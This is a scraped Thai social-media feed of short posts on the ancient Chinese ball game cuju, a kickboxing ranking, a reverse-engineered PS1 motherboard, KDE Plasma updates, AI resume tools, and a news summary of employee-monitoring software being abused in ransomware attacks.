มันเหมือนตะกร้อมากเลย คือดูจะเป็นหวายสาน (ตามรูปขวาบนจากในละคร) แต่ Storyฯ เคยเห็นในละครเรื่องอื่นดูวัสดุคล้ายผ้าก็มี ก็เลยต้องไปทำการบ้านอีก เลยมีรูปจากพิพิธภัณฑ์กีฬาส่านซีมาฝาก (รูปขวาล่าง) เป็นรูปของลูกบอลที่ใช้ในสมัยราชวงศ์ฮั่น (ปี 202 ก่อนคริสตกาล – ปีค.ศ. 220, คือลูกซ้าย) และราชวงศ์ถัง (ค.ศ. 618-907, คือลูกขวา) สังเกตได้ว่าการตัดเย็บไม่เหมือนกัน แต่สรุปว่าทั้งคู่ทำมาจากหนังนะจ๊ะ ส่วนไส้ในนั้นจะเป็นขนเป็ดขนไก่ ในสมัยราชวงศ์ฮั่น การเล่นชู่จวีสามารถเล่นแบบโชว์เดี่ยว เป็นการแสดงทักษะและลีลาของผู้เล่น ต่อมาในสมัยราชวงศ์ถังจึงมีการเล่นแข่งเป็นทีม ซึ่งวิธีเล่นโดยหลักคือแข่งกันเตะลูกเข้าโกล โกลเป็นห่วงทรงกลมขนาดเส้นผ่าศูนย์กลางประมาณหนึ่งฟุต ตั้งอยู่ตรงกลางสนาม เรียกว่า เฟิงหลิวเหยี่ยน (Eye of the Flowing Wind) สูงเหนือพื้นประมาณสิบเมตร มีเอกสารทางประวัติศาสตร์จากสมัยราชวงศ์ซ่งไม่น้อยที่บรรยายถึงกฎกติกาการเล่นชู่จวีอย่างชัดเจน ชู่จวีเป็นกิจกรรมกีฬาที่ได้รับความนิยมอย่างมากในยุคสมัยราชวงศ์ฮั่น แต่ว่ากันว่ายุคเฟื่องฟูของมันจริงๆ คือสมัยราชวงศ์ถัง-ซ่ง เพราะงานเลี้ยงในวังหรืองานเลี้ยงฉลองต้อนรับทูตสัมพันธไมตรีจากแคว้นต่างๆ มักจัดให้มีการเล่นชู่จวี นอกจากนี้ยังมีการเล่นกันอย่างแพร่หลายในสังคมเมืองใหญ่อีกด้วย ผู้เล่นเดิมเป็นลูกหลานตระกูลผู้ดี เป็นผู้หญิงก็เล่นได้ (ในสมัยราชวงศ์ถัง) ต่อมาจึงมีนักเล่นมืออาชีพมาร่วมทีมด้วย แต่เมื่อผ่านยุคสมัยราชวงศ์ซ่งก็ค่อยๆ คลายความนิยมลง (ป.ล. หากอ่านแล้วชอบใจ ช่วยกดไลค์กดแชร์กันด้วยนะคะ ติดตามได้ที่ @StoryfromStory) Credit รูปภาพจาก: https://mydramalist.com/photos/eN5EY_3 https://14th.xiancn.com/2021-04/22/content_6220692.html Credit ข้อมูลรวบรวมจาก: https://www.bbc.com/news/magazine-35409594 https://14th.xiancn.com/2021-04/22/content_6220692.html https://www.epochtimes.com/gb/16/6/18/n8010456.htm http://view.inews.qq.com/a/20200915A0HSBN00?tbkt=B3&uid= #สตรีหาญฉางเกอ #ชู่จวี #ราชวงศ์ถัง #วัฒนธรรมจีนโบราณ StoryfromStory
    1 ความคิดเห็น 0 การแบ่งปัน 811 มุมมอง 0 รีวิว
  • ไชโย นักมวย Kick boxing ไทย เป็นเบอร์ 1 โลก เมื่อเทียบปอนด์ต่อปอนด์ (18/06/68) #news1 #ข่าววันนี้ #ข่าวดัง #TikTokการกีฬา #Kick boxing
    ไชโย นักมวย Kick boxing ไทย เป็นเบอร์ 1 โลก เมื่อเทียบปอนด์ต่อปอนด์ (18/06/68) #news1 #ข่าววันนี้ #ข่าวดัง #TikTokการกีฬา #Kick boxing
    Like
    3
    0 ความคิดเห็น 0 การแบ่งปัน 642 มุมมอง 47 0 รีวิว
  • เมนบอร์ด PS1 ใหม่จากการย้อนรอยวิศวกรรม
    Lorentio Brodesco นักอิเล็กทรอนิกส์ชาวอิตาลีได้ออกแบบและสร้าง เมนบอร์ด PlayStation 1 ใหม่ โดยใช้เทคนิคย้อนรอยวิศวกรรม ซึ่งเป็นครั้งแรกในรอบ 30 ปีที่มีการสร้างเมนบอร์ด PS1 ใหม่จากศูนย์

    รายละเอียดของเมนบอร์ด nsOne
    - เมนบอร์ด nsOne สามารถใช้กับ ชิปดั้งเดิมของ PS1 ได้ เช่น CPU, GPU, SPU, RAM และตัวควบคุมแรงดันไฟฟ้า
    - ไม่ใช่ อีมูเลเตอร์ หรือ FPGA แต่เป็น เมนบอร์ดจริง ที่สามารถใช้กับชิ้นส่วนของ PS1 ได้โดยตรง
    - รองรับ เคสของ PS1 รุ่นดั้งเดิม และเพิ่ม พอร์ตขนาน ที่เคยถูกตัดออกจากรุ่น SCPH-900X
    - เปิดตัวผ่าน Kickstarter โดยมีราคาเริ่มต้นที่ $40 สำหรับบอร์ดเปล่า และ $95 สำหรับบอร์ดที่มีชิปครบชุด

    ข้อควรระวัง
    - ผู้ซื้อบอร์ดเปล่าต้องมีทักษะในการบัดกรีชิ้นส่วนอิเล็กทรอนิกส์ เพื่อให้สามารถใช้งานได้
    - การสนับสนุนโครงการ Kickstarter ไม่รับประกันว่าจะได้รับผลิตภัณฑ์ เนื่องจากเป็นการลงทุนในโครงการพัฒนา
    - ต้องใช้ชิ้นส่วนจาก PS1 ดั้งเดิม ซึ่งอาจหายากหรือมีราคาสูง

    แนวโน้มของการย้อนรอยวิศวกรรมในวงการเกม
    การฟื้นฟูฮาร์ดแวร์เกมเก่า
    - มีการพัฒนา FPGA และอีมูเลเตอร์ เพื่อให้สามารถเล่นเกมเก่าได้โดยไม่ต้องใช้ฮาร์ดแวร์ดั้งเดิม
    - นักพัฒนาอิสระเริ่มสร้าง เมนบอร์ดใหม่สำหรับเครื่องเกมเก่า เช่น SNES และ Sega Genesis
    - การย้อนรอยวิศวกรรมช่วยให้ นักสะสมสามารถซ่อมแซมเครื่องเกมเก่า ได้โดยไม่ต้องพึ่งพาชิ้นส่วนจาก Sony

    ข้อควรระวังเกี่ยวกับการย้อนรอยวิศวกรรม
    - ต้องมีความรู้ด้านอิเล็กทรอนิกส์และการบัดกรี เพื่อให้สามารถใช้งานบอร์ดใหม่ได้
    - อาจมีข้อจำกัดด้านลิขสิทธิ์ หากมีการใช้ชิ้นส่วนที่ออกแบบโดย Sony
    - ต้องตรวจสอบความเข้ากันได้ของชิ้นส่วน เพื่อให้แน่ใจว่าเครื่องสามารถทำงานได้อย่างสมบูรณ์

    อนาคตของการซ่อมแซมเครื่องเกมเก่า
    การพัฒนาเทคโนโลยีสำหรับเครื่องเกมคลาสสิก
    - มีการพัฒนา ชิป FPGA ที่จำลองการทำงานของ CPU และ GPU ดั้งเดิม เพื่อให้สามารถเล่นเกมเก่าได้
    - นักพัฒนาเริ่มสร้าง อุปกรณ์เสริมสำหรับเครื่องเกมเก่า เช่น HDMI mod สำหรับ Nintendo 64
    - การใช้ 3D Printing ช่วยให้สามารถสร้างชิ้นส่วนที่หายากได้ เช่น ปุ่มและเคสของเครื่องเกมเก่า

    ข้อควรระวังเกี่ยวกับการซ่อมแซมเครื่องเกมเก่า
    - ต้องตรวจสอบแหล่งที่มาของชิ้นส่วน เพื่อให้แน่ใจว่าเป็นของแท้และมีคุณภาพดี
    - ต้องมีความรู้เกี่ยวกับการทำงานของระบบเกม เพื่อป้องกันความเสียหายระหว่างการซ่อมแซม
    - ต้องมีการทดสอบก่อนใช้งานจริง เพื่อให้แน่ใจว่าเครื่องสามารถทำงานได้อย่างถูกต้อง

    https://www.tomshardware.com/video-games/playstation/first-reverse-engineered-sony-ps1-motherboard-enables-fixing-broken-systems-bare-pcbs-for-usd40-boards-with-chips-for-usd95
    🎮 เมนบอร์ด PS1 ใหม่จากการย้อนรอยวิศวกรรม Lorentio Brodesco นักอิเล็กทรอนิกส์ชาวอิตาลีได้ออกแบบและสร้าง เมนบอร์ด PlayStation 1 ใหม่ โดยใช้เทคนิคย้อนรอยวิศวกรรม ซึ่งเป็นครั้งแรกในรอบ 30 ปีที่มีการสร้างเมนบอร์ด PS1 ใหม่จากศูนย์ ✅ รายละเอียดของเมนบอร์ด nsOne - เมนบอร์ด nsOne สามารถใช้กับ ชิปดั้งเดิมของ PS1 ได้ เช่น CPU, GPU, SPU, RAM และตัวควบคุมแรงดันไฟฟ้า - ไม่ใช่ อีมูเลเตอร์ หรือ FPGA แต่เป็น เมนบอร์ดจริง ที่สามารถใช้กับชิ้นส่วนของ PS1 ได้โดยตรง - รองรับ เคสของ PS1 รุ่นดั้งเดิม และเพิ่ม พอร์ตขนาน ที่เคยถูกตัดออกจากรุ่น SCPH-900X - เปิดตัวผ่าน Kickstarter โดยมีราคาเริ่มต้นที่ $40 สำหรับบอร์ดเปล่า และ $95 สำหรับบอร์ดที่มีชิปครบชุด ‼️ ข้อควรระวัง - ผู้ซื้อบอร์ดเปล่าต้องมีทักษะในการบัดกรีชิ้นส่วนอิเล็กทรอนิกส์ เพื่อให้สามารถใช้งานได้ - การสนับสนุนโครงการ Kickstarter ไม่รับประกันว่าจะได้รับผลิตภัณฑ์ เนื่องจากเป็นการลงทุนในโครงการพัฒนา - ต้องใช้ชิ้นส่วนจาก PS1 ดั้งเดิม ซึ่งอาจหายากหรือมีราคาสูง 🔍 แนวโน้มของการย้อนรอยวิศวกรรมในวงการเกม ✅ การฟื้นฟูฮาร์ดแวร์เกมเก่า - มีการพัฒนา FPGA และอีมูเลเตอร์ เพื่อให้สามารถเล่นเกมเก่าได้โดยไม่ต้องใช้ฮาร์ดแวร์ดั้งเดิม - นักพัฒนาอิสระเริ่มสร้าง เมนบอร์ดใหม่สำหรับเครื่องเกมเก่า เช่น SNES และ Sega Genesis - การย้อนรอยวิศวกรรมช่วยให้ นักสะสมสามารถซ่อมแซมเครื่องเกมเก่า ได้โดยไม่ต้องพึ่งพาชิ้นส่วนจาก Sony ‼️ ข้อควรระวังเกี่ยวกับการย้อนรอยวิศวกรรม - ต้องมีความรู้ด้านอิเล็กทรอนิกส์และการบัดกรี เพื่อให้สามารถใช้งานบอร์ดใหม่ได้ - อาจมีข้อจำกัดด้านลิขสิทธิ์ หากมีการใช้ชิ้นส่วนที่ออกแบบโดย Sony - ต้องตรวจสอบความเข้ากันได้ของชิ้นส่วน เพื่อให้แน่ใจว่าเครื่องสามารถทำงานได้อย่างสมบูรณ์ 🌍 อนาคตของการซ่อมแซมเครื่องเกมเก่า ✅ การพัฒนาเทคโนโลยีสำหรับเครื่องเกมคลาสสิก - มีการพัฒนา ชิป FPGA ที่จำลองการทำงานของ CPU และ GPU ดั้งเดิม เพื่อให้สามารถเล่นเกมเก่าได้ - นักพัฒนาเริ่มสร้าง อุปกรณ์เสริมสำหรับเครื่องเกมเก่า เช่น HDMI mod สำหรับ Nintendo 64 - การใช้ 3D Printing ช่วยให้สามารถสร้างชิ้นส่วนที่หายากได้ เช่น ปุ่มและเคสของเครื่องเกมเก่า ‼️ ข้อควรระวังเกี่ยวกับการซ่อมแซมเครื่องเกมเก่า - ต้องตรวจสอบแหล่งที่มาของชิ้นส่วน เพื่อให้แน่ใจว่าเป็นของแท้และมีคุณภาพดี - ต้องมีความรู้เกี่ยวกับการทำงานของระบบเกม เพื่อป้องกันความเสียหายระหว่างการซ่อมแซม - ต้องมีการทดสอบก่อนใช้งานจริง เพื่อให้แน่ใจว่าเครื่องสามารถทำงานได้อย่างถูกต้อง https://www.tomshardware.com/video-games/playstation/first-reverse-engineered-sony-ps1-motherboard-enables-fixing-broken-systems-bare-pcbs-for-usd40-boards-with-chips-for-usd95
    0 ความคิดเห็น 0 การแบ่งปัน 448 มุมมอง 0 รีวิว
  • เรื่องราวของ Plasma 6.4 และอนาคตของ 6.5
    ทีม KDE กำลังเพิ่มประสิทธิภาพและเสริมฟีเจอร์ใหม่ให้กับ Plasma 6.4 ก่อนเปิดตัววันที่ 17 มิถุนายน 2025 หลังจากที่สัปดาห์ก่อนมีการปรับปรุงเรื่องความเร็วในการโหลด ตอนนี้พวกเขาเดินหน้าต่อด้วยการเพิ่ม Picture-in-Picture (PiP) บน Wayland ซึ่งเป็นฟีเจอร์ที่หลายคนรอคอย นี่เป็นก้าวสำคัญที่ช่วยให้ Wayland ทัดเทียมกับ X11 มากขึ้น

    นอกจากนี้ การปรับปรุงอื่นๆ ได้แก่:
    ปรับปรุง Blur effect โดยรวม Background Contrast effect เข้าไป
    สามารถจัดเรียง Virtual desktops จาก Pager widget ได้แล้ว
    ตั้งค่าการ Invert และ Zoom ถูกย้ายไปที่หน้า Accessibility
    ปรับปรุง Breeze application style ให้มีแอนิเมชันในเช็คบ็อกซ์และปุ่มตัวเลือกในแอปที่ใช้ QtQuick
    แก้ไขปัญหาผู้ใช้ไม่รู้วิธีหยุดบันทึกหน้าจอใน Spectacle ให้ชัดเจนยิ่งขึ้น

    ปรับปรุงเสถียรภาพใน Plasma 6.4
    การเพิ่มวิดเจ็ตไปที่ oversized panels ไม่ทำให้ shell ค้างอีกต่อไป
    แก้ปัญหา Discover ที่เคยแครชเมื่อแนะนำแอปแทนที่สำหรับ Flatpak ที่ไม่รองรับ
    ลากไฟล์ไปวางใน Folder View widget ไม่ทำให้เกิดภาพกระตุก
    กล่องบันทึกไฟล์จาก Flatpak browsers อนุญาตให้เปิดหน้า preview แล้ว
    การพิมพ์จาก Flatpak GTK apps แสดงขนาดที่ถูกต้อง

    ฟีเจอร์ที่กำลังพัฒนาสำหรับ Plasma 6.5
    Picture-in-Picture (PiP) บน Wayland— ใช้ Wayland PiP protocol เวอร์ชันทดลอง ทำให้แอปอย่าง Firefox สามารถแสดงหน้าต่าง PiP ได้อย่างถูกต้อง
    แก้ไขปัญหา UI เพื่อปรับปรุง ความคมชัดของข้อความ ในเมนูและป้ายกำกับต่างๆ
    Kicker Application Menu สามารถเลื่อนแนวนอนได้เมื่อมีผลค้นหาจำนวนมาก

    ถึงแม้จะมีการแก้ไขหลายจุด แต่ยังมี 3 บั๊กระดับสูง ที่ยังไม่ได้รับการแก้ไข
    ปัญหา "15-minute bugs" เพิ่มขึ้นถึง 23 จุด ซึ่งยังต้องแก้ไขต่อไป

    โดยรวมแล้ว Plasma 6.4 ดูจะเป็นอัปเดตที่ช่วยเพิ่มเสถียรภาพและปรับปรุงประสบการณ์ใช้งาน ส่วน Plasma 6.5 กำลังเตรียมตัวกับฟีเจอร์ใหม่ที่ผู้ใช้รอคอย

    https://www.neowin.net/news/kde-brings-wayland-pip-to-plasma-65-adds-finishing-touches-to-64-as-release-nears/
    เรื่องราวของ Plasma 6.4 และอนาคตของ 6.5 ทีม KDE กำลังเพิ่มประสิทธิภาพและเสริมฟีเจอร์ใหม่ให้กับ Plasma 6.4 ก่อนเปิดตัววันที่ 17 มิถุนายน 2025 หลังจากที่สัปดาห์ก่อนมีการปรับปรุงเรื่องความเร็วในการโหลด ตอนนี้พวกเขาเดินหน้าต่อด้วยการเพิ่ม Picture-in-Picture (PiP) บน Wayland ซึ่งเป็นฟีเจอร์ที่หลายคนรอคอย นี่เป็นก้าวสำคัญที่ช่วยให้ Wayland ทัดเทียมกับ X11 มากขึ้น นอกจากนี้ การปรับปรุงอื่นๆ ได้แก่: ✅ ปรับปรุง Blur effect โดยรวม Background Contrast effect เข้าไป ✅ สามารถจัดเรียง Virtual desktops จาก Pager widget ได้แล้ว ✅ ตั้งค่าการ Invert และ Zoom ถูกย้ายไปที่หน้า Accessibility ✅ ปรับปรุง Breeze application style ให้มีแอนิเมชันในเช็คบ็อกซ์และปุ่มตัวเลือกในแอปที่ใช้ QtQuick ✅ แก้ไขปัญหาผู้ใช้ไม่รู้วิธีหยุดบันทึกหน้าจอใน Spectacle ให้ชัดเจนยิ่งขึ้น ปรับปรุงเสถียรภาพใน Plasma 6.4 ✅ การเพิ่มวิดเจ็ตไปที่ oversized panels ไม่ทำให้ shell ค้างอีกต่อไป ✅ แก้ปัญหา Discover ที่เคยแครชเมื่อแนะนำแอปแทนที่สำหรับ Flatpak ที่ไม่รองรับ ✅ ลากไฟล์ไปวางใน Folder View widget ไม่ทำให้เกิดภาพกระตุก ✅ กล่องบันทึกไฟล์จาก Flatpak browsers อนุญาตให้เปิดหน้า preview แล้ว ✅ การพิมพ์จาก Flatpak GTK apps แสดงขนาดที่ถูกต้อง ฟีเจอร์ที่กำลังพัฒนาสำหรับ Plasma 6.5 ✅ Picture-in-Picture (PiP) บน Wayland— ใช้ Wayland PiP protocol เวอร์ชันทดลอง ทำให้แอปอย่าง Firefox สามารถแสดงหน้าต่าง PiP ได้อย่างถูกต้อง ✅ แก้ไขปัญหา UI เพื่อปรับปรุง ความคมชัดของข้อความ ในเมนูและป้ายกำกับต่างๆ ✅ Kicker Application Menu สามารถเลื่อนแนวนอนได้เมื่อมีผลค้นหาจำนวนมาก ‼️ ถึงแม้จะมีการแก้ไขหลายจุด แต่ยังมี 3 บั๊กระดับสูง ที่ยังไม่ได้รับการแก้ไข ‼️ ปัญหา "15-minute bugs" เพิ่มขึ้นถึง 23 จุด ซึ่งยังต้องแก้ไขต่อไป โดยรวมแล้ว Plasma 6.4 ดูจะเป็นอัปเดตที่ช่วยเพิ่มเสถียรภาพและปรับปรุงประสบการณ์ใช้งาน ส่วน Plasma 6.5 กำลังเตรียมตัวกับฟีเจอร์ใหม่ที่ผู้ใช้รอคอย https://www.neowin.net/news/kde-brings-wayland-pip-to-plasma-65-adds-finishing-touches-to-64-as-release-nears/
    WWW.NEOWIN.NET
    KDE brings Wayland PiP to Plasma 6.5, adds finishing touches to 6.4 as release nears
    In the latest "This Week in Plasma", the KDE team outlined key updates coming to Plasma 6.4 and 6.5, including critical bug fixes and new features like Wayland Picture-in-Picture.
    0 ความคิดเห็น 0 การแบ่งปัน 336 มุมมอง 0 รีวิว
  • AI ช่วยสร้างเรซูเม่ที่โดดเด่นในปี 2025

    การแข่งขันในตลาดงานกำลังเข้มข้นขึ้น และการใช้ AI Resume Builder สามารถช่วยให้ผู้สมัครงานมีความได้เปรียบมากขึ้น เครื่องมือเหล่านี้ไม่เพียงแค่สร้างเรซูเม่แบบพื้นฐาน แต่ยังช่วย ปรับแต่งให้เหมาะสมกับระบบ ATS (Applicant Tracking System) ตรวจสอบคำสำคัญ และให้คำแนะนำแบบเรียลไทม์

    เครื่องมือ AI Resume Builder ที่ดีที่สุดในปี 2025
    Rezi – เหมาะสำหรับการสร้างเรซูเม่ที่ผ่านระบบ ATS
    - ใช้ AI วิเคราะห์คำสำคัญจากประกาศรับสมัครงาน
    - มีตัวช่วยสร้างจดหมายสมัครงานในตัว

    Teal – เหมาะสำหรับผู้ที่สมัครงานหลายตำแหน่ง
    - มีระบบติดตามใบสมัครและช่วยปรับแต่งเรซูเม่
    - มีส่วนขยาย Chrome สำหรับบันทึกประกาศงาน

    Kickresume – เหมาะสำหรับเรซูเม่ที่มีดีไซน์สวยงาม
    - มีตัวอย่างเรซูเม่จากมืออาชีพ
    - มีระบบตรวจสอบไวยากรณ์ในตัว

    Resume.io – เหมาะสำหรับการสร้างเรซูเม่แบบรวดเร็ว
    - มีระบบลากและวางที่ใช้งานง่าย
    - มีตัวช่วยเขียนเรซูเม่ด้วย AI

    Enhancv – เหมาะสำหรับการสร้างแบรนด์ส่วนตัว
    - เน้นการเล่าเรื่องและการนำเสนอทักษะ
    - มีตัวช่วยสร้างจดหมายสมัครงานด้วย AI

    https://computercity.com/artificial-intelligence/the-best-ai-resume-writer-websites-and-tools
    AI ช่วยสร้างเรซูเม่ที่โดดเด่นในปี 2025 การแข่งขันในตลาดงานกำลังเข้มข้นขึ้น และการใช้ AI Resume Builder สามารถช่วยให้ผู้สมัครงานมีความได้เปรียบมากขึ้น เครื่องมือเหล่านี้ไม่เพียงแค่สร้างเรซูเม่แบบพื้นฐาน แต่ยังช่วย ปรับแต่งให้เหมาะสมกับระบบ ATS (Applicant Tracking System) ตรวจสอบคำสำคัญ และให้คำแนะนำแบบเรียลไทม์ 🔍 เครื่องมือ AI Resume Builder ที่ดีที่สุดในปี 2025 ✅ Rezi – เหมาะสำหรับการสร้างเรซูเม่ที่ผ่านระบบ ATS - ใช้ AI วิเคราะห์คำสำคัญจากประกาศรับสมัครงาน - มีตัวช่วยสร้างจดหมายสมัครงานในตัว ✅ Teal – เหมาะสำหรับผู้ที่สมัครงานหลายตำแหน่ง - มีระบบติดตามใบสมัครและช่วยปรับแต่งเรซูเม่ - มีส่วนขยาย Chrome สำหรับบันทึกประกาศงาน ✅ Kickresume – เหมาะสำหรับเรซูเม่ที่มีดีไซน์สวยงาม - มีตัวอย่างเรซูเม่จากมืออาชีพ - มีระบบตรวจสอบไวยากรณ์ในตัว ✅ Resume.io – เหมาะสำหรับการสร้างเรซูเม่แบบรวดเร็ว - มีระบบลากและวางที่ใช้งานง่าย - มีตัวช่วยเขียนเรซูเม่ด้วย AI ✅ Enhancv – เหมาะสำหรับการสร้างแบรนด์ส่วนตัว - เน้นการเล่าเรื่องและการนำเสนอทักษะ - มีตัวช่วยสร้างจดหมายสมัครงานด้วย AI https://computercity.com/artificial-intelligence/the-best-ai-resume-writer-websites-and-tools
    COMPUTERCITY.COM
    The Best Ai “Resume Writer” Websites and Tools
    With competition heating up across industries, using AI resume builders in 2025 can give job seekers a powerful edge. Today’s top tools go beyond basic
    0 ความคิดเห็น 0 การแบ่งปัน 394 มุมมอง 0 รีวิว
  • Kickidler ถูกแฮก! จากเครื่องมือเฝ้าติดตามพนักงานสู่การโจมตีด้วยแรนซัมแวร์ Kickidler ซึ่งเป็น ซอฟต์แวร์เฝ้าติดตามพนักงานที่ได้รับความนิยม กำลังถูกใช้เป็นเครื่องมือในการโจมตีด้วยแรนซัมแวร์ โดยแฮกเกอร์ใช้ โฆษณาปลอมบน Google Ads เพื่อหลอกให้ผู้ใช้ดาวน์โหลด RVTools เวอร์ชันที่มีมัลแวร์ ซึ่งจะติดตั้ง SMOKEDHAM backdoor และนำไปสู่การโจมตี

    นักวิจัยจาก Varonis และ Synacktiv พบว่าแฮกเกอร์ใช้ Kickidler เพื่อ ขโมยข้อมูลล็อกอินของผู้ดูแลระบบ และเข้าถึงเครือข่ายองค์กร โดยเป้าหมายหลักคือ VMware ESXi servers ซึ่งถูกเข้ารหัสข้อมูลผ่านแรนซัมแวร์

    Kickidler เป็นซอฟต์แวร์เฝ้าติดตามพนักงานที่ถูกใช้ในการโจมตีด้วยแรนซัมแวร์
    - มีฟีเจอร์ ดูหน้าจอแบบเรียลไทม์, บันทึกการกดแป้นพิมพ์ และติดตามเวลา

    แฮกเกอร์ใช้โฆษณาปลอมบน Google Ads เพื่อหลอกให้ผู้ใช้ดาวน์โหลด RVTools เวอร์ชันที่มีมัลแวร์
    - ติดตั้ง SMOKEDHAM backdoor เพื่อเข้าถึงระบบ

    เป้าหมายหลักของการโจมตีคือ VMware ESXi servers
    - ใช้ VMware PowerCLI และ WinSCP Automation เพื่อเปิดใช้งาน SSH และติดตั้งแรนซัมแวร์

    กลุ่มแฮกเกอร์ที่เกี่ยวข้อง ได้แก่ Qilin และ Hunters International
    - เน้นโจมตี ระบบสำรองข้อมูลบนคลาวด์

    องค์กรเริ่มใช้มาตรการป้องกัน เช่น การแยกระบบสำรองข้อมูลออกจาก Windows domains
    - ลดความเสี่ยง แม้แฮกเกอร์จะสามารถเข้าถึงข้อมูลล็อกอินของผู้ดูแลระบบ

    https://www.techradar.com/pro/security/popular-employee-monitoring-software-hijacked-to-launch-ransomware-attacks
    Kickidler ถูกแฮก! จากเครื่องมือเฝ้าติดตามพนักงานสู่การโจมตีด้วยแรนซัมแวร์ Kickidler ซึ่งเป็น ซอฟต์แวร์เฝ้าติดตามพนักงานที่ได้รับความนิยม กำลังถูกใช้เป็นเครื่องมือในการโจมตีด้วยแรนซัมแวร์ โดยแฮกเกอร์ใช้ โฆษณาปลอมบน Google Ads เพื่อหลอกให้ผู้ใช้ดาวน์โหลด RVTools เวอร์ชันที่มีมัลแวร์ ซึ่งจะติดตั้ง SMOKEDHAM backdoor และนำไปสู่การโจมตี นักวิจัยจาก Varonis และ Synacktiv พบว่าแฮกเกอร์ใช้ Kickidler เพื่อ ขโมยข้อมูลล็อกอินของผู้ดูแลระบบ และเข้าถึงเครือข่ายองค์กร โดยเป้าหมายหลักคือ VMware ESXi servers ซึ่งถูกเข้ารหัสข้อมูลผ่านแรนซัมแวร์ ✅ Kickidler เป็นซอฟต์แวร์เฝ้าติดตามพนักงานที่ถูกใช้ในการโจมตีด้วยแรนซัมแวร์ - มีฟีเจอร์ ดูหน้าจอแบบเรียลไทม์, บันทึกการกดแป้นพิมพ์ และติดตามเวลา ✅ แฮกเกอร์ใช้โฆษณาปลอมบน Google Ads เพื่อหลอกให้ผู้ใช้ดาวน์โหลด RVTools เวอร์ชันที่มีมัลแวร์ - ติดตั้ง SMOKEDHAM backdoor เพื่อเข้าถึงระบบ ✅ เป้าหมายหลักของการโจมตีคือ VMware ESXi servers - ใช้ VMware PowerCLI และ WinSCP Automation เพื่อเปิดใช้งาน SSH และติดตั้งแรนซัมแวร์ ✅ กลุ่มแฮกเกอร์ที่เกี่ยวข้อง ได้แก่ Qilin และ Hunters International - เน้นโจมตี ระบบสำรองข้อมูลบนคลาวด์ ✅ องค์กรเริ่มใช้มาตรการป้องกัน เช่น การแยกระบบสำรองข้อมูลออกจาก Windows domains - ลดความเสี่ยง แม้แฮกเกอร์จะสามารถเข้าถึงข้อมูลล็อกอินของผู้ดูแลระบบ https://www.techradar.com/pro/security/popular-employee-monitoring-software-hijacked-to-launch-ransomware-attacks
    0 ความคิดเห็น 0 การแบ่งปัน 412 มุมมอง 0 รีวิว
Pages Boosts